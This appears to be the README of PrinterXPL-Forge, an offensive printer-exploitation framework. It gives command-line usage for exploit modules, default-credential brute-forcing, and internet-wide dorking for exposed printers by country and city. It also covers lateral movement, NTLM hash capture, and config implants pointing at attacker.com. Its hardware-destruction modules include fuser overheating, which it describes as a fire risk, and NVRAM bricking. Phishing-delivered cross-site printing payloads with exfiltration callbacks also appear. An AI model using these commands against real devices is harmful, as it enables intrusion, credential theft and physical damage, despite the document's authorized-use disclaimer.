---

Platform Note: This framework is designed and tested primarily on Linux (Debian/Ubuntu/Kali). Most hardware-dependent modules (wireless adapters, USB devices, raw socket access, firmware tools) require Linux. Running on Windows or macOS may cause errors or limited functionality in many modules. Linux is strongly recommended for maximum compatibility.

---

---

PrinterXPL-Forge is a complete, modular framework for security assessment of network printers. It covers all major printer languages (PJL, PostScript, PCL, ESC/P), all common protocols (RAW, IPP, LPD, SMB, HTTP, SNMP, FTP, Telnet, WSD, TFTP), 185 exploit modules, an external wordlist-driven credential engine with zero hardcoded passwords, ML-assisted fingerprinting, NVD/CVE integration (120 CVEs), automated lateral movement, firmware analysis, and Cross-Site Printing payloads. Multi-language exploit orchestration (Python, C/C++ via WSL gcc, Ruby/Metasploit, Go, Rust) is handled by the built-in poly_runner engine.

---

Architecture — Printer Attack Surface

---

Operational Workflow

Flow source files (editable in draw.io): diagrams/PrinterXPL-Forge_workflow.drawio · diagrams/credential_flow.drawio · diagrams/attack_matrix.drawio

---

Attack Coverage Matrix

---

Destructive / Irreversible Attacks

WARNING — FOR AUTHORIZED LAB USE ONLY.
The attacks below cause permanent, irreversible hardware damage. They are implemented for security research and authorized penetration testing exclusively. Operators bear full legal and physical safety responsibility.

PrinterXPL-Forge includes a dedicated Destructive Attack Audit mode that scans any target printer for all known irreversible attack vectors:

# Assess-only (dry-run — SAFE, no payloads sent)
python pxf.py 192.168.1.100 --destructive-audit

# Live execution — sends destructive payloads (AUTHORIZED LAB ONLY)
python pxf.py 192.168.1.100 --destructive-audit --no-dry

# Specific modules only
python pxf.py 192.168.1.100 --destructive-audit \
  --destructive-modules research-fuser-thermal-attack,research-brother-nvram

# Interactive menu: choose option [D] DESTRUCTIVE AUDIT
python pxf.py

Implemented Physical Destruction Modules

Module	Attack	Damage Class	Vendors
research-fuser-thermal-attack	PJL SET FUSETEMP / PS setpagedevice /FuserTemperature override → thermal runaway	PHYSICAL — Fire risk	HP, Kyocera, Ricoh, Xerox
research-motor-jam-attack	HP PML DMCMD motor commands / duplex-stress cycling → gear strip / roller burnout	PHYSICAL — Mechanical	HP, Ricoh, Generic
research-laser-scanner-attack	PS setscreen 9999 lpi + all-black flood / HP PML laser power 0xFF → diode/drum burn	PHYSICAL — Optical	HP, Xerox, Ricoh, Canon
research-pjl-nvram-damage	PJL DEFAULT COPIES loop → NVRAM write-cycle exhaustion (~100k cycles)	NVRAM Brick	HP, Brother, Konica, Lexmark
research-brother-nvram	PJL COLLATE ON/OFF × 200,000 iterations → permanent chip burnout	NVRAM Brick	Brother
research-generic-pjl-nvram	PJL DINQUIRE/SET VARIABLE access → NVRAM read + optional write	NVRAM Risk	HP, Lexmark, Dell
research-snmp-factory-reset	SNMP prtGeneralReset OID = 6 (no auth) → complete factory wipe	Config Wipe	Multi-vendor
research-xerox-pjl-dlm	@PJL DLM START → firmware download manager activation	Firmware Brick	Xerox
research-xerox-firmware-root	HTTP POST /FirmwareUpdate with crafted DLM → rootkit / brick	Firmware Brick	Xerox
edb-45273 (CVE-2017-2741)	PJL FSDOWNLOAD to /etc/profile.d/ + SNMP restart → persistent root	Firmware Root	HP PageWide/OfficeJet

Physical Damage Details

Fuser Thermal Attack — The fuser unit operates at 170–210°C. PJL commands like @PJL SET FUSETEMP=270 (or PostScript << /FuserTemperature 270 >> setpagedevice) push the temperature above the roller material's thermal tolerance. At >270°C, the PTFE fuser sleeve melts; at >285°C, paper residue inside the fuser can ignite.

Motor Jamming — HP's PML DMCMD interface (service manual) allows direct motor activation. Sending simultaneous commands to mechanically exclusive motors (main feed + pickup + exit) without paper in the path causes gear binding, stripping the plastic drive train.

Laser Scanner Attack — PostScript setscreen with frequency 9999 lpi forces the laser diode to fire at 100% duty cycle continuously. This accelerates diode degradation, overheats the polygon mirror motor bearings, and ablates the photosensitive drum coating — permanently degrading print quality or bricking the LSU.

---

Credential Architecture — Zero Hardcoded Passwords

---

PrinterXPL-Forge vs PRET — Benchmark

PRET (Printer Exploitation Toolkit) is the reference tool from the BlackHat 2017 research by Müller et al. PrinterXPL-Forge was initially forked from it and has since been rewritten and massively extended.

Feature	PRET	PrinterXPL-Forge v5.0.0
Languages	PJL, PS, PCL	PJL, PS, PCL, ESC/P, auto
Protocols	RAW, LPD, IPP, USB	RAW, LPD, IPP, SMB, HTTP, SNMP, FTP, Telnet
CVE Database	None	90+ CVEs built-in + NVD API live lookup
Exploit Library	None	150 modules (ExploitDB 25, Metasploit 19, Research 80, Core 26) — 110 CVEs catalogued
Brute-Force	None	HTTP, FTP, SNMP, Telnet — wordlist-driven, 0 hardcoded creds
Credential Engine	None	External wordlists, vendor sections, token expansion, variations
Network Discovery	None	SNMP sweep, Shodan, Censys, WSD, installed printers
Fingerprinting	Basic banner	Multi-protocol banner grab + ML classifier
CVE Scan	None	NVD API + offline fallback + auto exploit matching
ML Engine	None	scikit-learn fingerprinting + attack scoring
Lateral Movement	None	SSRF via IPP/WSD, network map, LDAP NTLM hash capture
Firmware Analysis	None	Version extraction, upload endpoint check, NVRAM r/w
Storage Audit	None	FTP, web file manager, SNMP MIB dump, saved jobs
Cross-Site Printing	None	XSP + CORS spoofing payload generator (5 attack types)
Attack Matrix	None	Full BlackHat 2017 campaign + 2024-2025 CVEs
Send Print Job	Partial	Any format: .ps/.pcl/.pdf/.txt/.png/.jpg/.doc + raw
Interactive Menu	None	Full guided TUI with next-steps and hints
Config / API Keys	None	config.json with Shodan, Censys, NVD, ML flags
Python Version	2.7 (legacy)	3.8+ (typed, async-capable)
Windows Support	Limited	Full (PowerShell launchers, EDR-safe venv)
IPv6	No	Yes
SMB	No	Yes (pysmb)
Wiki / Docs	Basic README	Full GitHub wiki + draw.io diagrams

Summary: PrinterXPL-Forge covers the same core PJL/PS/PCL shell as PRET plus a complete post-exploitation, discovery, brute-force, CVE, and lateral movement framework on top.

---

Installation

git clone https://github.com/mrhenrike/PrinterXPL-Forge.git
cd PrinterXPL-Forge

# Recommended (PEP 668 safe — Debian/Ubuntu, etc.)
bash setup_venv.sh          # Linux / macOS
# .\setup_venv.ps1          # Windows PowerShell

./run.sh --help
# or
python pxf.py --version

Manual venv (alternative):

python3 -m venv .venv
source .venv/bin/activate        # Linux / macOS
.venv\Scripts\activate           # Windows PowerShell
pip install -r requirements.txt
export PYTHONPATH=src
python pxf.py --version

Requirements: Python 3.8+ · Windows / Linux / macOS · 80 MB disk

---

Entry Point

python pxf.py [target] [mode] [options]

Example	What it does
python pxf.py	Interactive guided menu
python pxf.py --help	Full flag reference
python pxf.py 192.168.1.100 --scan	Passive fingerprint + CVE scan
python pxf.py 192.168.1.100 pjl	PJL interactive shell
python pxf.py 192.168.1.100 --bruteforce --bf-vendor epson	Credential brute-force
python pxf.py 192.168.1.100 --auto-exploit	Auto exploit selection + execution
python pxf.py 192.168.1.100 --attack-matrix	Full attack campaign
python pxf.py --discover-online --shodan --dork-vendor hp --dork-country BR	Dork discovery via Shodan only
python pxf.py --discover-online --dork-engine shodan,netlas --dork-vendor hp,epson --dork-country BR,AR	Multi-engine, multi-vendor CSV
python pxf.py --discover-online --dork-vendor hp --dork-country BR	Dork discovery via all configured engines

---

Custom Port Overrides

By default PrinterXPL-Forge uses standard printer port numbers for each protocol. When the target printer listens on non-standard ports, override them globally via CLI flags — all modules automatically pick up the new ports:

# Printer with RAW on 3910 instead of 9100
python pxf.py 192.168.1.100 pjl --port-raw 3910

# Full scan on a printer with non-standard ports
python pxf.py 192.168.1.100 --scan \
  --port-raw 3910 \
  --port-ipp 8631 \
  --port-snmp 1161

# Add extra ports to banner scan sweep
python pxf.py 192.168.1.100 --scan \
  --extra-ports 9200 --extra-ports 7100

# Brute-force with custom HTTP and FTP ports
python pxf.py 192.168.1.100 --bruteforce \
  --port-http 8080 --port-ftp 2121 --port-telnet 2323

# Attack campaign respects all overrides
python pxf.py 192.168.1.100 --attack-matrix --port-raw 3910

Port override flags:

Flag	Protocol	Default
--port-raw PORT	RAW/PJL/JetDirect	9100
--port-ipp PORT	IPP	631
--port-lpd PORT	LPD/LPR	515
--port-snmp PORT	SNMP	161
--port-ftp PORT	FTP management	21
--port-http PORT	HTTP (EWS)	80
--port-https PORT	HTTPS (EWS)	443
--port-smb PORT	SMB/CIFS	445
--port-telnet PORT	Telnet management	23
--extra-ports PORT	Extra scan port (repeatable)	—

Overrides are applied globally at startup — every module (banner scan, PJL, firmware, SNMP, FTP, brute-force, attack orchestrator, XSP payload) reads from PortConfig instead of using hardcoded constants.

---

1. Discovery

Local

# SNMP sweep + installed printers on this host
python pxf.py --discover-local

# Passive OSINT check for a specific IP
python pxf.py 192.168.1.100 --osint

# Detect supported languages without connecting
python pxf.py 192.168.1.100 --auto-detect

Online — Structured Dork Discovery (v3.12.0+)

--discover-online supports 5 search engines: Shodan, Censys, FOFA, ZoomEye, Netlas. Printer context is always implicit — no need to specify "printer" in searches. At least one --dork-* filter is required — unfiltered global sweeps are blocked. No engine runs without credentials — configure keys in config.json.

# All Epson + Ricoh printers in Latin America, port 515 — all engines
python pxf.py --discover-online \
  --dork-vendor epson,ricoh \
  --dork-region latin_america \
  --dork-port 515

# HP DeskJet Pro 5500 in Brazil — Shodan only (single engine flag)
python pxf.py --discover-online --shodan \
  --dork-vendor hp \
  --dork-model "deskjet pro 5500" \
  --dork-country BR

# All printers in São Paulo port 9100 (CSV + single-country city filter)
python pxf.py --discover-online \
  --dork-country BR \
  --dork-city "Sao Paulo","Rio de Janeiro" \
  --dork-port 9100

# Kyocera in Europe, 200 results — Netlas only
python pxf.py --discover-online --netlas \
  --dork-vendor kyocera \
  --dork-region europe \
  --dork-limit 200

# Multiple vendors and countries via CSV — Shodan + ZoomEye (multi-engine)
python pxf.py --discover-online \
  --dork-engine shodan,zoomeye \
  --dork-vendor hp,canon \
  --dork-country BR,AR \
  --dork-port 9100,631

# Five engines at once
python pxf.py --discover-online \
  --dork-engine shodan,censys,fofa,zoomeye,netlas \
  --dork-vendor epson --dork-port 9100

Engine selection rules:

Goal	How
ONE engine	--shodan / --censys / --fofa / --zoomeye / --netlas
MULTIPLE engines	--dork-engine shodan,netlas (comma-separated — the only multi-engine way)
ALL configured	Omit all engine flags
Forbidden	--shodan --fofa (two individual flags) or --shodan --dork-engine fofa (mix) → error

Dork filter flags — all accept CSV or repeated flags:

Flag	Multi-value	Description
--dork-vendor hp,epson	Yes — CSV or repeat	Vendor: hp, epson, ricoh, brother, canon, kyocera, xerox, lexmark, samsung, oki, zebra
--dork-model MODEL	No	Model substring in banner
--dork-country BR,AR,US	Yes — CSV or repeat	ISO-2 code or name: BR, brazil, argentina, DE
--dork-city "São Paulo",Belém	Yes — only with 1 country	City names; compound names must be quoted
--dork-region latin_america,europe	Yes — CSV or repeat	Region: latin_america, south_america, europe, eastern_europe, asia, southeast_asia, middle_east, africa, oceania, north_america
--dork-port 9100,515,631	Yes — CSV or repeat	9100 (RAW/PJL), 515 (LPD), 631 (IPP), 80 (HTTP), 443 (HTTPS)
--dork-org ORG	No	Organization/ISP name
--dork-cpe CPE	No	CPE filter (Censys/Netlas)
--dork-limit N	No	Max results per query per engine (default: 100)

Query syntax generated per engine (implicit + your filters):

Engine	Example generated query
Shodan	"HP LaserJet" country:BR port:9100
Censys	services.banner="HP LaserJet" AND location.country_code="BR" AND services.port=9100
FOFA	banner="HP LaserJet" && country="BR" && port="9100"
ZoomEye	banner:"HP LaserJet" +country:"BR" +port:9100
Netlas	data.response:"HP LaserJet" AND geo.country_code:"BR" AND port:9100

---

2. Reconnaissance

# Full passive scan: banner grab + CVE/NVD lookup + exploit matching
python pxf.py 192.168.1.100 --scan

# Same + ML fingerprinting and attack scoring
python pxf.py 192.168.1.100 --scan-ml

# Offline (skip NVD API)
python pxf.py 192.168.1.100 --scan --no-nvd

# Scan + immediately match exploit modules
python pxf.py 192.168.1.100 --scan --xpl

# Combined: scan auto-populates vendor + serial for bruteforce
python pxf.py 192.168.1.100 --scan --bruteforce

---

3. Interactive Shell

# Auto-detect best language
python pxf.py 192.168.1.100 auto

# Specific languages
python pxf.py 192.168.1.100 pjl       # PJL: filesystem, NVRAM, control
python pxf.py 192.168.1.100 ps        # PostScript: operators, job capture
python pxf.py 192.168.1.100 pcl       # PCL: macro filesystem

# Debug, batch, log modes
python pxf.py 192.168.1.100 pjl --debug
python pxf.py 192.168.1.100 pjl -i commands.txt -o session.log -q

Key PJL commands:

192.168.1.100:/> id              # model, firmware, serial
192.168.1.100:/> network         # IP, gateway, DNS, WINS, MAC
192.168.1.100:/> ls /            # filesystem listing
192.168.1.100:/> cat /etc/passwd # read file
192.168.1.100:/> download /webServer/config/soe.xml
192.168.1.100:/> nvram read      # NVRAM dump
192.168.1.100:/> display "HACKED"
192.168.1.100:/> destroy         # NVRAM damage (lab only)

---

4. Auto Exploit (v3.8.0)

Automatic exploit selection, verification, parameter pre-filling, and execution.

# Auto exploit (dry-run — safe)
python pxf.py 192.168.1.100 --auto-exploit

# With serial number pre-filled to exploits that require it
python pxf.py 192.168.1.100 --auto-exploit --bf-serial XAABT77481

# Live exploitation — AUTHORIZED LABS ONLY
python pxf.py 192.168.1.100 --auto-exploit --no-dry

# Restrict to a specific source
python pxf.py 192.168.1.100 --auto-exploit --xpl-source exploit-db

# Check more candidates, run top 3
python pxf.py 192.168.1.100 --auto-exploit \
  --auto-exploit-limit 15 \
  --auto-exploit-run 3

# Force a custom exploit file (parameters auto-filled)
python pxf.py 192.168.1.100 --auto-exploit \
  --auto-exploit-file /path/to/my_exploit.py \
  --bf-serial XAABT77481

Algorithm:

1. Quick fingerprint (banner grab, SNMP, HTTP, IPP)
2. Match exploit modules against detected make/model/firmware/CVEs
3. Sort candidates by CVSS score descending
4. Run non-destructive check() on top N candidates
5. Pre-fill host, port, serial, mac, vendor automatically
6. Execute run() on top confirmed-vulnerable exploit(s)
7. Print ranked summary of all checked exploits

---

5. Credential Brute-Force

# Auto-detect vendor, use default wordlist
python pxf.py 192.168.1.100 --bruteforce

# Explicit vendor + serial (Epson / HP / Canon)
python pxf.py 192.168.1.100 --bruteforce --bf-vendor epson --bf-serial XAABT77481

# MAC-based tokens (OKI, Brother, Kyocera KR2)
python pxf.py 192.168.1.100 --bruteforce --bf-vendor oki --bf-mac AA:BB:CC:DD:EE:FF

# Custom wordlist (replaces default)
python pxf.py 192.168.1.100 --bruteforce --bf-wordlist /path/to/creds.txt

# Add individual credentials (highest priority)
python pxf.py 192.168.1.100 --bruteforce --bf-cred admin:MyPass --bf-cred root:

# No variation engine (faster)
python pxf.py 192.168.1.100 --bruteforce --bf-no-variations --bf-delay 2.0

Protocols tested: HTTP/HTTPS · FTP · SNMP community strings · Telnet

Wordlist format:

# ── Epson ──────────────────────────────────────────────────────────────────
admin:epson
admin:__SERIAL__      # expanded to --bf-serial value at runtime
# ── HP ─────────────────────────────────────────────────────────────────────
Admin:Admin
jetdirect:
admin:hpinvent!

---

5. Exploit Library

# List all 150 modules sorted by CVSS
python pxf.py 192.168.1.100 --xpl-list
python pxf.py 192.168.1.100 --xpl-list --xpl-source exploit-db

# Non-destructive vulnerability check
python pxf.py 192.168.1.100 --xpl-check edb-35151
python pxf.py 192.168.1.100 --xpl-check edb-cve-2024-51978

# Run exploit (dry-run default)
python pxf.py 192.168.1.100 --xpl-run edb-35151
python pxf.py 192.168.1.100 --xpl-run edb-35151 --no-dry  # live

# Download exploit from ExploitDB
python pxf.py --xpl-fetch 45273

# Rebuild index after adding modules
python pxf.py --xpl-update

New HIGH/CRITICAL Modules Added in v6.1.0

Module ID	CVE(s)	CVSS	Vendor	Type
research-hp-printing-shellz	CVE-2021-39238	9.8	HP	Wormable RCE (FutureSmart BOF)
research-hp-bof-series-2022	CVE-2022-28721 / CVE-2023-1329 / CVE-2024-0794	9.8	HP	Network BOF series
edb-cve-2021-3441	CVE-2021-3441	7.4	HP	Stored XSS via unauthenticated PUT
research-ssport-lpe	CVE-2021-3438	7.8	HP/Samsung/Xerox	Windows kernel LPE (SSPORT.SYS)
research-canon-xps-bof-2025b	CVE-2025-14234 / CVE-2025-14237	9.8	Canon	XPS BOF (advisory CP2026-001)
research-lexmark-ps-bof-50734	CVE-2023-50734	9.0	Lexmark	PS interpreter stack BOF
research-lexmark-ps-bof-50736	CVE-2023-50736	9.0	Lexmark	PS memory corruption
research-lexmark-fw-downgrade	CVE-2023-50738	8.8	Lexmark	Firmware downgrade → RCE

New HIGH/CRITICAL Modules Added in v6.2.0 (EmbedXPL Absorption)

Module ID	CVE(s)	CVSS	Vendor	Type
research-hp-fw-auth-bypass-2023-6018	CVE-2023-6018	9.8	HP	FW Auth Bypass + Upload
research-hp-uart-bof-2022-3942	CVE-2022-3942	9.8	HP	UART BOF / RCE
research-hp-pagewide-ssrf-2017-2750	CVE-2017-2750	9.8	HP	Solution Bundle RCE/SSRF
research-hp-mfp-bof-2021-39237	CVE-2021-39237	9.8	HP	MFP Stack BOF (Printing Shellz)
edb-cve-2011-4065	CVE-2011-4065	9.8	HP	Web JetAdmin Unauth RCE
research-hp-pjl-traversal-2010-4107	CVE-2010-4107	7.8	HP	PJL Dir Traversal
research-hp-ews-ssrf-2024-4479	CVE-2024-4479	8.6	HP	EWS SSRF
research-hp-efi-rootkit	—	9.0	HP	EFI/UEFI Rootkit (Printing Shellz)
research-hp-disk-access	—	7.5	HP	Internal HDD Access via EWS
research-lexmark-ssrf-rce-2023-23560	CVE-2023-23560	9.0	Lexmark	SSRF→RCE (Pwn2Own Toronto '22)
research-ricoh-http-bof-2024-34161	CVE-2024-34161	9.8	Ricoh	HTTP Stack BOF
research-ricoh-ews-rce-2024-34161	CVE-2024-34161	9.8	Ricoh	EWS CGI RCE
research-ricoh-driver-lpe-2019-19363	CVE-2019-19363	7.8	Ricoh	Windows Driver LPE
research-xerox-altalink-unauth-2022-23968	CVE-2022-23968	9.8	Xerox	AltaLink Unauth Admin API
research-kyocera-pjl-creds	—	7.5	Kyocera	PJL Credential Extraction
research-cups-pwn2own-2026-chain	CVE-2026-34480	9.8	CUPS	Pwn2Own 2026 Full Chain
research-cups-pwn2own-2026-stage1	CVE-2026-34477	9.8	CUPS	UAF Stage 1
research-cups-pwn2own-2026-stage2	CVE-2026-34478	9.8	CUPS	Heap Spray Stage 2
research-cups-pwn2own-2026-stage3	CVE-2026-34479	9.8	CUPS	ROP Chain Stage 3
research-cups-chain-2026-34980	CVE-2026-34980	9.8	CUPS	CRLF Injection RCE
research-zerologon-printserver	CVE-2020-1472	10.0	Microsoft	ZeroLogon via Print Server
research-printer-c2-dns	—	7.5	Generic	C2 via DNS Tunnel
research-printer-c2-http	—	7.5	Generic	C2 via HTTP Polling
research-printer-c2-smb	—	8.0	Generic	C2 via SMB/MS-RPRN
research-printer-iot-lateral	—	8.0	Generic	Printer-as-Pivot Lateral Movement
research-printer-net-reconn	—	5.3	Generic	Network Recon from Printer
research-smb-auth-relay-print	—	8.1	Generic	SMB NTLM Relay via Spooler
research-universal-printer-enum	—	—	Generic	Multi-protocol Fingerprinting
research-ps-lang-abuse	—	7.8	Generic	PostScript Dict Abuse
research-ps-overlay-watermark	—	5.5	Generic	PS Watermark Injection
research-print-track-steg	—	—	Generic	MIC Tracking Dots Forensics
research-rfid-badge-exfil	—	7.5	Generic	RFID Badge Data Exfil
research-smartcard-printer-bypass	—	8.0	Generic	Smartcard/CAC Bypass
research-thermal-printer-rprint	—	6.5	Epson/Star	Thermal Printer Remote Print
research-printer-fw-tamper	—	9.0	Generic	Firmware Tampering Research
research-lexmark-heap-bof	CVE-2024-11345	7.3	Lexmark	Heap BOF via multipart upload
research-lexmark-pwn2own-2026	CVE-2025-65079/65080/65081	8.8	Lexmark	Pwn2Own 2026 heap BOF chain
research-ricoh-http-bof	CVE-2024-47939	7.7	Ricoh/Konica Minolta	Web Image Monitor stack BOF
research-xerox-ipp-bof	CVE-2019-13165 / CVE-2019-13168	8.1	Xerox	Unauthenticated IPP BOF
research-xerox-http-bof	CVE-2019-13169 / CVE-2019-13172	8.1	Xerox	HTTP header/cookie BOF
edb-cve-2016-11061	CVE-2016-11061	9.8	Xerox	WorkCentre configrui.php unauthenticated RCE
research-brother-wsd-ssrf	CVE-2024-51980 / CVE-2024-51981	7.5	Brother	WSD forced TCP / SSRF
research-brother-wsd-dos	CVE-2024-51983	7.5	Brother	WSD device crash DoS
research-brother-passback	CVE-2024-51984	7.1	Brother	LDAP/SMTP credential pass-back
edb-cve-2023-3710	CVE-2023-3710	8.8	Honeywell	PM43 command injection (EDB-51885)
research-tftp-loop-dos	CVE-2024-2169	7.5	Brother/Generic	TFTP infinite loop DoS

poly_runner Engine — v6.1.0 Enhancements

The built-in multi-language exploit orchestrator now includes:

• available_langs() — Returns a dict of all supported compilers/runtimes detected on the system
• run_from_dir(module_dir, ...) — Auto-detects source files (source.c, exploit.rb, exploit.go) in a module directory and dispatches to the correct runner
• Compilation cache — Skips rebuild when binary is newer than source (os.path.getmtime check)
• WSL fallback — On Windows, if native gcc/clang is absent, automatically uses wsl gcc (WSL2 required)

---

6. Full Attack Matrix

Runs every attack category from BlackHat 2017 + 2024-2025 CVEs:

# Dry-run (probe only)
python pxf.py 192.168.1.100 --attack-matrix

# Live exploitation — AUTHORIZED LABS ONLY
python pxf.py 192.168.1.100 --attack-matrix --no-dry

# Combined with network map
python pxf.py 192.168.1.100 --attack-matrix --network-map --no-dry

Categories: DoS · Protection Bypass · Job Manipulation · Information Disclosure · CORS/XSP · SNMP write · Network pivoting

---

7. Lateral Movement & Network Mapping

# SSRF audit via IPP/WSD
python pxf.py 192.168.1.100 --pivot

# Port-scan internal host via printer SSRF
python pxf.py 192.168.1.100 --pivot-scan 10.0.0.1

# Full network map from printer's perspective
python pxf.py 192.168.1.100 --network-map

# LDAP NTLM hash capture
python pxf.py 192.168.1.100 --xpl-run research-ldap-hash-capture --no-dry

---

8. Storage, Firmware & Payloads

# Storage audit: FTP, web file manager, SNMP MIB, saved jobs
python pxf.py 192.168.1.100 --storage

# Firmware: version, upload endpoint check, NVRAM probe
python pxf.py 192.168.1.100 --firmware

# Factory reset (dry-run probes endpoints)
python pxf.py 192.168.1.100 --firmware-reset pjl
python pxf.py 192.168.1.100 --firmware-reset web

# Persistent config implant
python pxf.py 192.168.1.100 --implant smtp_host=attacker.com
python pxf.py 192.168.1.100 --implant snmp_community=hacked

# Language-specific payload injection
python pxf.py 192.168.1.100 --payload pjl:reset
python pxf.py 192.168.1.100 --payload ps:loop
python pxf.py 192.168.1.100 --payload ps:custom --payload-data "statusdict begin showROMfonts end"

---

9. Cross-Site Printing (XSP)

# Generate attack payloads (deployed via phishing / watering hole)
python pxf.py 192.168.1.100 --xsp info
python pxf.py 192.168.1.100 --xsp capture --xsp-callback https://attacker.com/log
python pxf.py 192.168.1.100 --xsp dos
python pxf.py 192.168.1.100 --xsp nvram
python pxf.py 192.168.1.100 --xsp exfil

---

10. IPP & Send Job

# Full IPP security audit
python pxf.py 192.168.1.100 --ipp

# Submit anonymous print job (dry-run)
python pxf.py 192.168.1.100 --ipp-submit
python pxf.py 192.168.1.100 --ipp-submit --no-dry

# Send any file to printer
python pxf.py 192.168.1.100 --send-job document.pdf
python pxf.py 192.168.1.100 --send-job payload.ps --send-proto raw
python pxf.py 192.168.1.100 --send-job flyer.pdf --send-copies 10 --send-proto lpd

---

Full Flag Reference

POSITIONAL
  target               Printer IP or hostname
  mode                 pjl | ps | pcl | auto

GENERAL
  -h, --help           Show help
  --version            Show version
  -q, --quiet          Suppress banner
  -d, --debug          Show raw bytes
  -s, --safe           Verify language support before connecting
  -i FILE              Batch commands from file
  -o FILE              Log raw sent data to file
  --config PATH        Custom config.json
  -I, --interactive    Guided menu

DISCOVERY
  --discover-local     SNMP sweep + host installed printers
  --discover-online    Shodan / Censys search
  --osint              Passive OSINT for target IP
  --auto-detect        Detect supported printer languages

RECON (no payloads)
  --scan               Banner grab + CVE lookup + attack surface
  --scan-ml            --scan + ML fingerprinting + attack scoring
  --no-nvd             Skip NVD API (offline mode)
  --xpl                Auto-match exploits after --scan

IPP
  --ipp                Full IPP security audit
  --ipp-submit         Submit anonymous IPP job (dry-run)
  --no-dry             Disable dry-run

PAYLOAD
  --payload LANG:TYPE  Inject language-specific payload
  --payload-data STR   Custom PS/PJL string

SEND JOB
  --send-job FILE      Send file to printer
  --send-proto PROTO   raw (9100) | ipp (631) | lpd (515)
  --send-copies N      Number of copies (default: 1)
  --send-queue NAME    LPD queue name (default: lp)

LATERAL MOVEMENT
  --pivot              SSRF audit via IPP/WSD
  --pivot-scan HOST    Port-scan HOST via printer SSRF
  --network-map        Full network map from printer's perspective
  --implant KEY=VALUE  Persistent config implant

STORAGE & FIRMWARE
  --storage            FTP, web, SNMP MIB, saved jobs audit
  --firmware           Firmware version, upload endpoint, NVRAM
  --firmware-reset M   Factory reset via pjl | web | ipp (DANGEROUS)

ATTACK CAMPAIGN
  --attack-matrix      Full BlackHat 2017 campaign (dry-run default)
  --no-dry             Live exploitation

XSP
  --xsp TYPE           info | capture | dos | nvram | exfil
  --xsp-callback URL   Callback URL for exfil

EXPLOIT LIBRARY
  --xpl-list           List all exploits
  --xpl-source SRC     metasploit | exploit-db | research | custom
  --xpl-check ID       Non-destructive probe
  --xpl-run ID         Run exploit (add --no-dry for live)
  --xpl-update         Rebuild xpl/index.json
  --xpl-fetch EDB_ID   Download from ExploitDB

BRUTE-FORCE
  --bruteforce         BF: HTTP, FTP, SNMP, Telnet
  --bf-vendor VENDOR   Vendor override
  --bf-serial SERIAL   Device serial (__SERIAL__ token)
  --bf-mac MAC         MAC address (__MAC6__, __MAC12__ tokens)
  --bf-wordlist FILE   Custom wordlist (replaces default)
  --bf-cred USER:PASS  Extra credential (repeatable)
  --bf-no-variations   Disable leet/reverse/camelcase
  --bf-delay SECS      Delay between attempts (default: 0.3s)

CONFIG
  --check-config       Show API key status

---

Supported Vendors (20+)

Epson · HP · Brother · Ricoh · Xerox · Canon · Kyocera · Samsung · OKI · Lexmark · Konica Minolta · Fujifilm · Sharp · Toshiba · Zebra · Axis · Pantum · Sindoh · Develop · Utax

---

Configuration

{
  "shodan":  { "api_key": "YOUR_KEY" },
  "censys":  { "api_id": "YOUR_ID", "api_secret": "YOUR_SECRET" },
  "nvd":     { "api_key": "YOUR_KEY" },
  "ml":      { "enabled": true },
  "network": { "timeout": 6, "snmp_timeout": 3 }
}

cp config.json.example config.json
python pxf.py --check-config

---

Diagram Sources

All flow diagrams are editable in diagrams.net / draw.io:

File	Description
diagrams/PrinterXPL-Forge_workflow.drawio	6-phase operational workflow
diagrams/credential_flow.drawio	Credential architecture flow
diagrams/attack_matrix.drawio	Attack coverage matrix
diagrams/*.mmd	Mermaid source diagrams

---

OS Packaging (3 caminhos + pipx)

Todo o empacotamento operacional foi centralizado em packages/:

Path	Objetivo	Arquivo principal
packages/01-pypi/	Wheel/sdist + publicação PyPI	build.sh / build.ps1
packages/02-deb/	Pacote .deb (Debian/Ubuntu/Kali)	prepare.sh + build.sh
packages/03-rpm/	Pacote .rpm (RHEL/Fedora/Rocky)	build.sh + printerxpl-forge.spec
packages/04-pipx/	Instalação isolada via pipx	validate.sh / validate.ps1

Fluxo recomendado:

./packages/01-pypi/build.sh
./packages/02-deb/prepare.sh && ./packages/02-deb/build.sh
./packages/03-rpm/build.sh
./packages/04-pipx/validate.sh

Guia central: packages/README.md

---

Version History

Version	Date	Highlights
3.13.0	2026-03-24	ZoomEye API fix (→ api.zoomeye.ai, API-KEY auth), Netlas field fixes (geo.country, http.title), repo cleanup (remove tests/tools/debian/packaging)
3.12.0	2026-03-24	CSV multi-value dork filters (--dork-vendor hp,canon --dork-port 9100,631), --dork-city multi-city, city/country guard
3.11.0	2026-03-24	Engine selection UX: individual flags = single engine, --dork-engine = multi-engine only; FOFA email deprecated (key-only); ZoomEye + Netlas keys
3.10.0	2026-03-25	Custom port overrides for every protocol (--port-raw, --port-ipp, --port-snmp, ...), PortConfig central resolver, --extra-ports scan flag
3.9.0	2026-03-25	5-engine dork discovery (Shodan, Censys, FOFA, ZoomEye, Netlas), --dork-engine selector, per-engine query syntax, zero-filter enforcement
3.8.0	2026-03-25	Structured dork discovery (Shodan/Censys), --auto-exploit pipeline, DiscoveryParams, DorkQueryBuilder, auto_exploit()
3.7.0	2026-03-25	Zero hardcoded creds, wordlist engine, draw.io diagrams, PNG assets
3.6.2	2026-03-25	LDAP hash capture, CVE-2024-51978, 5 new vendors
3.6.0	2026-03-24	7 new BlackHat 2017 exploits + EDB research modules
3.5.0	2026-03-24	--send-job, wordlists subfolder, emoji-free CLI
3.4.2	2026-03-24	Interactive guided menu, spinner, next-steps hints
3.4.1	2026-03-24	Login brute-force engine, variation generator
3.4.0	2026-03-24	Exploit library (xpl/), --xpl-* flags, auto-matching
3.3.0	2026-03-24	--attack-matrix, --network-map, XSP/CORS spoofing
3.2.0	2026-03-24	IPP attacks, SSRF pivot, storage, firmware, implants
3.1.0	2026-03-24	--scan/--scan-ml, CVE scanner, ML engine, Shodan
3.0.0	2026-03-24	IPv6, SMB, pysnmp v5/v7, IPP/TLS, local discovery
2.5.x	2025-10-05	Cross-platform, PRET fork, 109 commands

---

References

• Müller et al. — Exploiting Network Printers, BlackHat USA 2017
• Hacking Printers Wiki
• ExploitDB — Printer exploits
• NVD — National Vulnerability Database
• PRET — Printer Exploitation Toolkit

---

Legal Disclaimer

PrinterXPL-Forge is developed for authorized security research, penetration testing, and educational purposes only. Using this tool against systems you do not own or have explicit written authorization to test is illegal.

The software is provided “as is” (AS IS) under the MIT License, without warranty of any kind (express or implied). The author is not liable for damages, misuse, third-party claims, or commercial/fitness guarantees — use at your own risk. Preserve copyright notices when redistributing; pull requests and issues are welcome.

---

---

Contributors

Contributor	Contribution
